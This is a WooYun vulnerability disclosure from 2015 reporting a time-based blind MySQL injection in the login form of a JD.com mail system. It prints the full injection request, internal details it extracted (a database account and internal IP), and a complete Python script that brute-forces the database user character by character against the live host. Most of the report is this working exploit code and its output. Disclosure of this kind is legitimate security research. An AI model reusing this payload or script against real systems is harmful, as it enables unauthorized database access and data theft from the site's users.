当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164982

漏洞标题:京东商城某重要系统MySQL注射(附验证脚本)

相关厂商:京东商城

漏洞作者: lijiejie

提交时间:2015-12-26 18:35

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-26: 细节已通知厂商并且等待厂商处理中
2015-12-27: 厂商已经确认,细节仅向厂商公开
2016-01-06: 细节向核心白帽子及相关领域专家公开
2016-01-16: 细节向普通白帽子公开
2016-01-26: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

京东商城某重要系统MySQL注射(附验证脚本)

详细说明:

注射点:

POST https://mail.jd.com/Erpout/Logon.aspx
captcha=test&destination=https://mail.jd.com/owa/&flags=0&forcedownlevel=0&isflag=0&isUtf8=1&maindo=mail.jd.com&showCheck=0&trusted=4&txtPassword=test&txtUser=aaaa'XOR(if(ascii(mid(user(),1,1))=106%2cbenchmark(10000000,md5(1))%2c0))OR'bbb&__EVENTVALIDATION=/wEWBwLxrpTlDwKK4MvjBQLB2tiHDgK1qbSRCwLk6JP4DALErdS5DwKqh7gQj3wgMfb0vbvb1oZ%2bQLNUO5k2Fs0%3d&__VIEWSTATE=/wEPDwULLTEyOTM4NDQ0ODFkZJ5XXKyC0nN6Jccew80z8q/DFEs5


参数txtUser可注入,MySQL time blind。benchmark(15000000,md5(1)),响应时间大于2.0s。

漏洞证明:

猜解MySQL user(),得到:

[Done]MySQL user is jdmail_rw@172.17.27.41


database():   jdmail


jd_mysqli_timeblind.png


python验证脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'ValiCode=PDC9BIL5P735'}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1, 23):
for payload in payloads:
conn = httplib.HTTPSConnection('mail.jd.com', timeout=30)
s = "captcha=test&destination=https://mail.jd.com/owa/&" \
"flags=0&forcedownlevel=0&isflag=0&isUtf8=1&maindo=mail.jd.com&showCheck=0" \
"&trusted=4&txtPassword=test&" \
"txtUser=aaaa'XOR(if(ascii(mid(user(),"+str(i)+",1))="+str(ord(payload))+"%2cbenchmark(15000000,md5(1))%2c0))OR'bbb" \
"&__EVENTVALIDATION=/wEWBwLxrpTlDwKK4MvjBQLB2tiHDgK1qbSRCwLk6JP4DALErdS5DwKqh7gQj3wgMfb0vbvb1oZ%2bQLNUO5k2Fs0%3d" \
"&__VIEWSTATE=/wEPDwULLTEyOTM4NDQ0ODFkZJ5XXKyC0nN6Jccew80z8q/DFEs5"
conn.request(method='POST',
url="/Erpout/Logon.aspx",
body=s,
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
if time.time() - start_time > 2.0:
user += payload
print '\n[In progress] %s' % user
break
else:
print '.',

print '\n[Done]MySQL user is', user

修复方案:

参数转义,过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-27 21:33

厂商回复:

非常感谢您对京东安全的关注!

最新状态:

暂无